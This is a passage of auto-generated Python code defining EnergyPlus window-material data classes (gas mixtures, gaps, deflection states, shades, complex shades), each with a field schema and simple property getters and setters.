value of `spacing` or None if not set """ return self["Spacing"] @spacing.setter def spacing(self, value=0.04): """Corresponds to IDD field `Spacing`""" self["Spacing"] = value @property def radius(self): """field `Radius` | Units: m | Default value: 0.0004 Args: value (float): value for IDD Field `Radius` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `radius` or None if not set """ return self["Radius"] @radius.setter def radius(self, value=0.0004): """Corresponds to IDD field `Radius`""" self["Radius"] = value class WindowGapDeflectionState(DataObject): """ Corresponds to IDD object `WindowGap:DeflectionState` Used to enter data describing deflection state of the gap. It is referenced from WindowMaterial:Gap object only and it is used only when deflection model is set to MeasuredDeflection, otherwise it is ignored. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'deflected thickness', {'name': u'Deflected Thickness', 'pyname': u'deflected_thickness', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'initial temperature', {'name': u'Initial Temperature', 'pyname': u'initial_temperature', 'default': 25.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'initial pressure', {'name': u'Initial Pressure', 'pyname': u'initial_pressure', 'default': 101325.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'Pa'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'WindowGap:DeflectionState', 'pyname': u'WindowGapDeflectionState', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def deflected_thickness(self): """field `Deflected Thickness` | If left blank will be considered that gap has no deflection. | Units: m Args: value (float): value for IDD Field `Deflected Thickness` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `deflected_thickness` or None if not set """ return self["Deflected Thickness"] @deflected_thickness.setter def deflected_thickness(self, value=None): """Corresponds to IDD field `Deflected Thickness`""" self["Deflected Thickness"] = value @property def initial_temperature(self): """field `Initial Temperature` | Units: C | Default value: 25.0 Args: value (float): value for IDD Field `Initial Temperature` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `initial_temperature` or None if not set """ return self["Initial Temperature"] @initial_temperature.setter def initial_temperature(self, value=25.0): """Corresponds to IDD field `Initial Temperature`""" self["Initial Temperature"] = value @property def initial_pressure(self): """field `Initial Pressure` | Units: Pa | Default value: 101325.0 Args: value (float): value for IDD Field `Initial Pressure` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `initial_pressure` or None if not set """ return self["Initial Pressure"] @initial_pressure.setter def initial_pressure(self, value=101325.0): """Corresponds to IDD field `Initial Pressure`""" self["Initial Pressure"] = value class WindowMaterialGasMixture(DataObject): """ Corresponds to IDD object `WindowMaterial:GasMixture` Gas mixtures that are used in Windows or Glass Doors """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'thickness', {'name': u'Thickness', 'pyname': u'thickness', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'number of gases in mixture', {'name': u'Number of Gases in Mixture', 'pyname': u'number_of_gases_in_mixture', 'maximum': 4, 'required-field': True, 'autosizable': False, 'minimum': 1, 'autocalculatable': False, 'type': u'integer'}), (u'gas 1 type', {'name': u'Gas 1 Type', 'pyname': u'gas_1_type', 'required-field': True, 'autosizable': False, 'accepted-values': [u'Air', u'Argon', u'Krypton', u'Xenon'], 'autocalculatable': False, 'type': 'alpha'}), (u'gas 1 fraction', {'name': u'Gas 1 Fraction', 'pyname': u'gas_1_fraction', 'minimum>': 0.0, 'maximum': 1.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'gas 2 type', {'name': u'Gas 2 Type', 'pyname': u'gas_2_type', 'required-field': True, 'autosizable': False, 'accepted-values': [u'Air', u'Argon', u'Krypton', u'Xenon'], 'autocalculatable': False, 'type': 'alpha'}), (u'gas 2 fraction', {'name': u'Gas 2 Fraction', 'pyname': u'gas_2_fraction', 'minimum>': 0.0, 'maximum': 1.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'gas 3 type', {'name': u'Gas 3 Type', 'pyname': u'gas_3_type', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Air', u'Argon', u'Krypton', u'Xenon'], 'autocalculatable': False, 'type': 'alpha'}), (u'gas 3 fraction', {'name': u'Gas 3 Fraction', 'pyname': u'gas_3_fraction', 'minimum>': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'}), (u'gas 4 type', {'name': u'Gas 4 Type', 'pyname': u'gas_4_type', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Air', u'Argon', u'Krypton', u'Xenon'], 'autocalculatable': False, 'type': 'alpha'}), (u'gas 4 fraction', {'name': u'Gas 4 Fraction', 'pyname': u'gas_4_fraction', 'minimum>': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 7, 'name': u'WindowMaterial:GasMixture', 'pyname': u'WindowMaterialGasMixture', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def thickness(self): """field `Thickness` | Units: m Args: value (float): value for IDD Field `Thickness` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thickness` or None if not set """ return self["Thickness"] @thickness.setter def thickness(self, value=None): """Corresponds to IDD field `Thickness`""" self["Thickness"] = value @property def number_of_gases_in_mixture(self): """field `Number of Gases in Mixture` | value >= 1 | value <= 4 Args: value (int): value for IDD Field `Number of Gases in Mixture` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `number_of_gases_in_mixture` or None if not set """ return self["Number of Gases in Mixture"] @number_of_gases_in_mixture.setter def number_of_gases_in_mixture(self, value=None): """Corresponds to IDD field `Number of Gases in Mixture`""" self["Number of Gases in Mixture"] = value @property def gas_1_type(self): """field `Gas 1 Type` Args: value (str): value for IDD Field `Gas 1 Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gas_1_type` or None if not set """ return self["Gas 1 Type"] @gas_1_type.setter def gas_1_type(self, value=None): """Corresponds to IDD field `Gas 1 Type`""" self["Gas 1 Type"] = value @property def gas_1_fraction(self): """field `Gas 1 Fraction` | value <= 1.0 Args: value (float): value for IDD Field `Gas 1 Fraction` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `gas_1_fraction` or None if not set """ return self["Gas 1 Fraction"] @gas_1_fraction.setter def gas_1_fraction(self, value=None): """Corresponds to IDD field `Gas 1 Fraction`""" self["Gas 1 Fraction"] = value @property def gas_2_type(self): """field `Gas 2 Type` Args: value (str): value for IDD Field `Gas 2 Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gas_2_type` or None if not set """ return self["Gas 2 Type"] @gas_2_type.setter def gas_2_type(self, value=None): """Corresponds to IDD field `Gas 2 Type`""" self["Gas 2 Type"] = value @property def gas_2_fraction(self): """field `Gas 2 Fraction` | value <= 1.0 Args: value (float): value for IDD Field `Gas 2 Fraction` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `gas_2_fraction` or None if not set """ return self["Gas 2 Fraction"] @gas_2_fraction.setter def gas_2_fraction(self, value=None): """Corresponds to IDD field `Gas 2 Fraction`""" self["Gas 2 Fraction"] = value @property def gas_3_type(self): """field `Gas 3 Type` Args: value (str): value for IDD Field `Gas 3 Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gas_3_type` or None if not set """ return self["Gas 3 Type"] @gas_3_type.setter def gas_3_type(self, value=None): """Corresponds to IDD field `Gas 3 Type`""" self["Gas 3 Type"] = value @property def gas_3_fraction(self): """field `Gas 3 Fraction` | value <= 1.0 Args: value (float): value for IDD Field `Gas 3 Fraction` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `gas_3_fraction` or None if not set """ return self["Gas 3 Fraction"] @gas_3_fraction.setter def gas_3_fraction(self, value=None): """Corresponds to IDD field `Gas 3 Fraction`""" self["Gas 3 Fraction"] = value @property def gas_4_type(self): """field `Gas 4 Type` Args: value (str): value for IDD Field `Gas 4 Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gas_4_type` or None if not set """ return self["Gas 4 Type"] @gas_4_type.setter def gas_4_type(self, value=None): """Corresponds to IDD field `Gas 4 Type`""" self["Gas 4 Type"] = value @property def gas_4_fraction(self): """field `Gas 4 Fraction` | value <= 1.0 Args: value (float): value for IDD Field `Gas 4 Fraction` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `gas_4_fraction` or None if not set """ return self["Gas 4 Fraction"] @gas_4_fraction.setter def gas_4_fraction(self, value=None): """Corresponds to IDD field `Gas 4 Fraction`""" self["Gas 4 Fraction"] = value class WindowMaterialGap(DataObject): """ Corresponds to IDD object `WindowMaterial:Gap` Used to define the gap between two layers in a complex fenestration system, where the Construction:ComplexFenestrationState object is used. It is referenced as a layer in the Construction:ComplexFenestrationState object. It cannot be referenced as a layer from the Construction object. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'thickness', {'name': u'Thickness', 'pyname': u'thickness', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'gas (or gas mixture)', {'name': u'Gas (or Gas Mixture)', 'pyname': u'gas_or_gas_mixture', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'pressure', {'name': u'Pressure', 'pyname': u'pressure', 'default': 101325.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'Pa'}), (u'deflection state', {'name': u'Deflection State', 'pyname': u'deflection_state', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'support pillar', {'name': u'Support Pillar', 'pyname': u'support_pillar', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'WindowMaterial:Gap', 'pyname': u'WindowMaterialGap', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def thickness(self): """field `Thickness` | Units: m Args: value (float): value for IDD Field `Thickness` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thickness` or None if not set """ return self["Thickness"] @thickness.setter def thickness(self, value=None): """Corresponds to IDD field `Thickness`""" self["Thickness"] = value @property def gas_or_gas_mixture(self): """field `Gas (or Gas Mixture)` | This field should reference only WindowMaterial:Gas | or WindowMaterial:GasMixture objects Args: value (str): value for IDD Field `Gas (or Gas Mixture)` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gas_or_gas_mixture` or None if not set """ return self["Gas (or Gas Mixture)"] @gas_or_gas_mixture.setter def gas_or_gas_mixture(self, value=None): """Corresponds to IDD field `Gas (or Gas Mixture)`""" self["Gas (or Gas Mixture)"] = value @property def pressure(self): """field `Pressure` | Units: Pa | Default value: 101325.0 Args: value (float): value for IDD Field `Pressure` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `pressure` or None if not set """ return self["Pressure"] @pressure.setter def pressure(self, value=101325.0): """Corresponds to IDD field `Pressure`""" self["Pressure"] = value @property def deflection_state(self): """field `Deflection State` | If left blank, it will be considered that gap is not deflected Args: value (str): value for IDD Field `Deflection State` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `deflection_state` or None if not set """ return self["Deflection State"] @deflection_state.setter def deflection_state(self, value=None): """Corresponds to IDD field `Deflection State`""" self["Deflection State"] = value @property def support_pillar(self): """field `Support Pillar` | If left blank, it will be considered that gap does not have | support pillars Args: value (str): value for IDD Field `Support Pillar` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `support_pillar` or None if not set """ return self["Support Pillar"] @support_pillar.setter def support_pillar(self, value=None): """Corresponds to IDD field `Support Pillar`""" self["Support Pillar"] = value class WindowMaterialShade(DataObject): """ Corresponds to IDD object `WindowMaterial:Shade` Specifies the properties of window shade materials. Reflectance and emissivity properties are assumed to be the same on both sides of the shade. Shades are considered to be perfect diffusers (all transmitted and reflected radiation is hemispherically-diffuse) independent of angle of incidence. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'solar transmittance', {'name': u'Solar Transmittance', 'pyname': u'solar_transmittance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'solar reflectance', {'name': u'Solar Reflectance', 'pyname': u'solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'visible transmittance', {'name': u'Visible Transmittance', 'pyname': u'visible_transmittance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'visible reflectance', {'name': u'Visible Reflectance', 'pyname': u'visible_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'infrared hemispherical emissivity', {'name': u'Infrared Hemispherical Emissivity', 'pyname': u'infrared_hemispherical_emissivity', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'maximum<': 1.0, 'unit': u'dimensionless'}), (u'infrared transmittance', {'name': u'Infrared Transmittance', 'pyname': u'infrared_transmittance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'thickness', {'name': u'Thickness', 'pyname': u'thickness', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'conductivity', {'name': u'Conductivity', 'pyname': u'conductivity', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'shade to glass distance', {'name': u'Shade to Glass Distance', 'pyname': u'shade_to_glass_distance', 'default': 0.05, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.001, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'top opening multiplier', {'name': u'Top Opening Multiplier', 'pyname': u'top_opening_multiplier', 'default': 0.5, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'bottom opening multiplier', {'name': u'Bottom Opening Multiplier', 'pyname': u'bottom_opening_multiplier', 'default': 0.5, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'left-side opening multiplier', {'name': u'Left-Side Opening Multiplier', 'pyname': u'leftside_opening_multiplier', 'default': 0.5, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'right-side opening multiplier', {'name': u'Right-Side Opening Multiplier', 'pyname': u'rightside_opening_multiplier', 'default': 0.5, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'airflow permeability', {'name': u'Airflow Permeability', 'pyname': u'airflow_permeability', 'default': 0.0, 'maximum': 0.8, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 15, 'name': u'WindowMaterial:Shade', 'pyname': u'WindowMaterialShade', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def solar_transmittance(self): """field `Solar Transmittance` | Assumed independent of incidence angle | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `solar_transmittance` or None if not set """ return self["Solar Transmittance"] @solar_transmittance.setter def solar_transmittance(self, value=None): """Corresponds to IDD field `Solar Transmittance`""" self["Solar Transmittance"] = value @property def solar_reflectance(self): """field `Solar Reflectance` | Assumed same for both sides | Assumed independent of incidence angle | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `solar_reflectance` or None if not set """ return self["Solar Reflectance"] @solar_reflectance.setter def solar_reflectance(self, value=None): """Corresponds to IDD field `Solar Reflectance`""" self["Solar Reflectance"] = value @property def visible_transmittance(self): """field `Visible Transmittance` | Assumed independent of incidence angle | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Visible Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `visible_transmittance` or None if not set """ return self["Visible Transmittance"] @visible_transmittance.setter def visible_transmittance(self, value=None): """Corresponds to IDD field `Visible Transmittance`""" self["Visible Transmittance"] = value @property def visible_reflectance(self): """field `Visible Reflectance` | Assumed same for both sides | Assumed independent of incidence angle | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Visible Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `visible_reflectance` or None if not set """ return self["Visible Reflectance"] @visible_reflectance.setter def visible_reflectance(self, value=None): """Corresponds to IDD field `Visible Reflectance`""" self["Visible Reflectance"] = value @property def infrared_hemispherical_emissivity(self): """field `Infrared Hemispherical Emissivity` | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Infrared Hemispherical Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `infrared_hemispherical_emissivity` or None if not set """ return self["Infrared Hemispherical Emissivity"] @infrared_hemispherical_emissivity.setter def infrared_hemispherical_emissivity(self, value=None): """Corresponds to IDD field `Infrared Hemispherical Emissivity`""" self["Infrared Hemispherical Emissivity"] = value @property def infrared_transmittance(self): """field `Infrared Transmittance` | Units: dimensionless | value < 1.0 Args: value (float): value for IDD Field `Infrared Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `infrared_transmittance` or None if not set """ return self["Infrared Transmittance"] @infrared_transmittance.setter def infrared_transmittance(self, value=None): """Corresponds to IDD field `Infrared Transmittance`""" self["Infrared Transmittance"] = value @property def thickness(self): """field `Thickness` | Units: m | IP-Units: in Args: value (float): value for IDD Field `Thickness` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thickness` or None if not set """ return self["Thickness"] @thickness.setter def thickness(self, value=None): """Corresponds to IDD field `Thickness`""" self["Thickness"] = value @property def conductivity(self): """field `Conductivity` | Units: W/m-K Args: value (float): value for IDD Field `Conductivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `conductivity` or None if not set """ return self["Conductivity"] @conductivity.setter def conductivity(self, value=None): """Corresponds to IDD field `Conductivity`""" self["Conductivity"] = value @property def shade_to_glass_distance(self): """field `Shade to Glass Distance` | Units: m | IP-Units: in | Default value: 0.05 | value >= 0.001 | value <= 1.0 Args: value (float): value for IDD Field `Shade to Glass Distance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `shade_to_glass_distance` or None if not set """ return self["Shade to Glass Distance"] @shade_to_glass_distance.setter def shade_to_glass_distance(self, value=0.05): """Corresponds to IDD field `Shade to Glass Distance`""" self["Shade to Glass Distance"] = value @property def top_opening_multiplier(self): """field `Top Opening Multiplier` | Default value: 0.5 | value <= 1.0 Args: value (float): value for IDD Field `Top Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `top_opening_multiplier` or None if not set """ return self["Top Opening Multiplier"] @top_opening_multiplier.setter def top_opening_multiplier(self, value=0.5): """Corresponds to IDD field `Top Opening Multiplier`""" self["Top Opening Multiplier"] = value @property def bottom_opening_multiplier(self): """field `Bottom Opening Multiplier` | Default value: 0.5 | value <= 1.0 Args: value (float): value for IDD Field `Bottom Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `bottom_opening_multiplier` or None if not set """ return self["Bottom Opening Multiplier"] @bottom_opening_multiplier.setter def bottom_opening_multiplier(self, value=0.5): """Corresponds to IDD field `Bottom Opening Multiplier`""" self["Bottom Opening Multiplier"] = value @property def leftside_opening_multiplier(self): """field `Left-Side Opening Multiplier` | Default value: 0.5 | value <= 1.0 Args: value (float): value for IDD Field `Left-Side Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `leftside_opening_multiplier` or None if not set """ return self["Left-Side Opening Multiplier"] @leftside_opening_multiplier.setter def leftside_opening_multiplier(self, value=0.5): """ Corresponds to IDD field `Left-Side Opening Multiplier` """ self["Left-Side Opening Multiplier"] = value @property def rightside_opening_multiplier(self): """field `Right-Side Opening Multiplier` | Default value: 0.5 | value <= 1.0 Args: value (float): value for IDD Field `Right-Side Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `rightside_opening_multiplier` or None if not set """ return self["Right-Side Opening Multiplier"] @rightside_opening_multiplier.setter def rightside_opening_multiplier(self, value=0.5): """ Corresponds to IDD field `Right-Side Opening Multiplier` """ self["Right-Side Opening Multiplier"] = value @property def airflow_permeability(self): """field `Airflow Permeability` | Units: dimensionless | value <= 0.8 Args: value (float): value for IDD Field `Airflow Permeability` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `airflow_permeability` or None if not set """ return self["Airflow Permeability"] @airflow_permeability.setter def airflow_permeability(self, value=None): """Corresponds to IDD field `Airflow Permeability`""" self["Airflow Permeability"] = value class WindowMaterialComplexShade(DataObject): """ Corresponds to IDD object `WindowMaterial:ComplexShade` Complex window shading layer thermal properties """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'layer type', {'name': u'Layer Type', 'pyname': u'layer_type', 'default': u'OtherShadingType', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Venetian', u'Woven', u'Perforated', u'BSDF', u'OtherShadingType'], 'autocalculatable': False, 'type': 'alpha'}), (u'thickness', {'name': u'Thickness', 'pyname': u'thickness', 'default': 0.002, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'conductivity', {'name': u'Conductivity', 'pyname': u'conductivity', 'default': 1.0, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'ir transmittance', {'name': u'IR Transmittance', 'pyname': u'ir_transmittance', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'front emissivity', {'name': u'Front Emissivity', 'pyname': u'front_emissivity', 'default': 0.84, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'back emissivity', {'name': u'Back Emissivity', 'pyname': u'back_emissivity', 'default': 0.84, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'top opening multiplier', {'name': u'Top Opening Multiplier', 'pyname': u'top_opening_multiplier', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'bottom opening multiplier', {'name': u'Bottom Opening Multiplier', 'pyname': u'bottom_opening_multiplier', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'left side opening multiplier', {'name': u'Left Side Opening Multiplier', 'pyname': u'left_side_opening_multiplier', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'right side opening multiplier', {'name': u'Right Side Opening Multiplier', 'pyname': u'right_side_opening_multiplier', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'front opening multiplier', {'name': u'Front Opening Multiplier', 'pyname': u'front_opening_multiplier', 'default': 0.05, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'slat width', {'name': u'Slat Width', 'pyname': u'slat_width', 'default': 0.016, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'slat spacing', {'name': u'Slat Spacing', 'pyname': u'slat_spacing', 'default': 0.012, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'slat thickness', {'name': u'Slat Thickness', 'pyname': u'slat_thickness', 'default': 0.0006, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'slat angle', {'name': u'Slat Angle', 'pyname': u'slat_angle', 'default': 90.0, 'maximum': 90.0, 'required-field': False, 'autosizable': False, 'minimum': -90.0, 'autocalculatable': False, 'type': u'real', 'unit': u'deg'}), (u'slat conductivity', {'name': u'Slat Conductivity', 'pyname': u'slat_conductivity', 'default': 160.0, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'slat curve', {'name': u'Slat Curve', 'pyname': u'slat_curve', 'default': 0.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 12, 'name': u'WindowMaterial:ComplexShade', 'pyname': u'WindowMaterialComplexShade', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def layer_type(self): """field `Layer Type` | Default value: OtherShadingType Args: value (str): value for IDD Field `Layer Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_type` or None if not set """ return self["Layer Type"] @layer_type.setter def layer_type(self, value="OtherShadingType"): """Corresponds to IDD field `Layer Type`""" self["Layer Type"] = value @property def thickness(self): """field `Thickness` | Units: m | Default value: 0.002 Args: value (float): value for IDD Field `Thickness` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thickness` or None if not set """ return self["Thickness"] @thickness.setter def thickness(self, value=0.002): """Corresponds to IDD field `Thickness`""" self["Thickness"] = value @property def conductivity(self): """field `Conductivity` | Units: W/m-K | Default value: 1.0 Args: value (float): value for IDD Field `Conductivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `conductivity` or None if not set """ return self["Conductivity"] @conductivity.setter def conductivity(self, value=1.0): """Corresponds to IDD field `Conductivity`""" self["Conductivity"] = value @property def ir_transmittance(self): """field `IR Transmittance` | value <= 1.0 Args: value (float): value for IDD Field `IR Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `ir_transmittance` or None if not set """ return self["IR Transmittance"] @ir_transmittance.setter def ir_transmittance(self, value=None): """Corresponds to IDD field `IR Transmittance`""" self["IR Transmittance"] = value @property def front_emissivity(self): """field `Front Emissivity` | Default value: 0.84 | value <= 1.0 Args: value (float): value for IDD Field `Front Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_emissivity` or None if not set """ return self["Front Emissivity"] @front_emissivity.setter def front_emissivity(self, value=0.84): """Corresponds to IDD field `Front Emissivity`""" self["Front Emissivity"] = value @property def back_emissivity(self): """field `Back Emissivity` | Default value: 0.84 | value <= 1.0 Args: value (float): value for IDD Field `Back Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_emissivity` or None if not set """ return self["Back Emissivity"] @back_emissivity.setter def back_emissivity(self, value=0.84): """Corresponds to IDD field `Back Emissivity`""" self["Back Emissivity"] = value @property def top_opening_multiplier(self): """field `Top Opening Multiplier` | value <= 1.0 Args: value (float): value for IDD Field `Top Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `top_opening_multiplier` or None if not set """ return self["Top Opening Multiplier"] @top_opening_multiplier.setter def top_opening_multiplier(self, value=None): """Corresponds to IDD field `Top Opening Multiplier`""" self["Top Opening Multiplier"] = value @property def bottom_opening_multiplier(self): """field `Bottom Opening Multiplier` | value <= 1.0 Args: value (float): value for IDD Field `Bottom Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `bottom_opening_multiplier` or None if not set """ return self["Bottom Opening 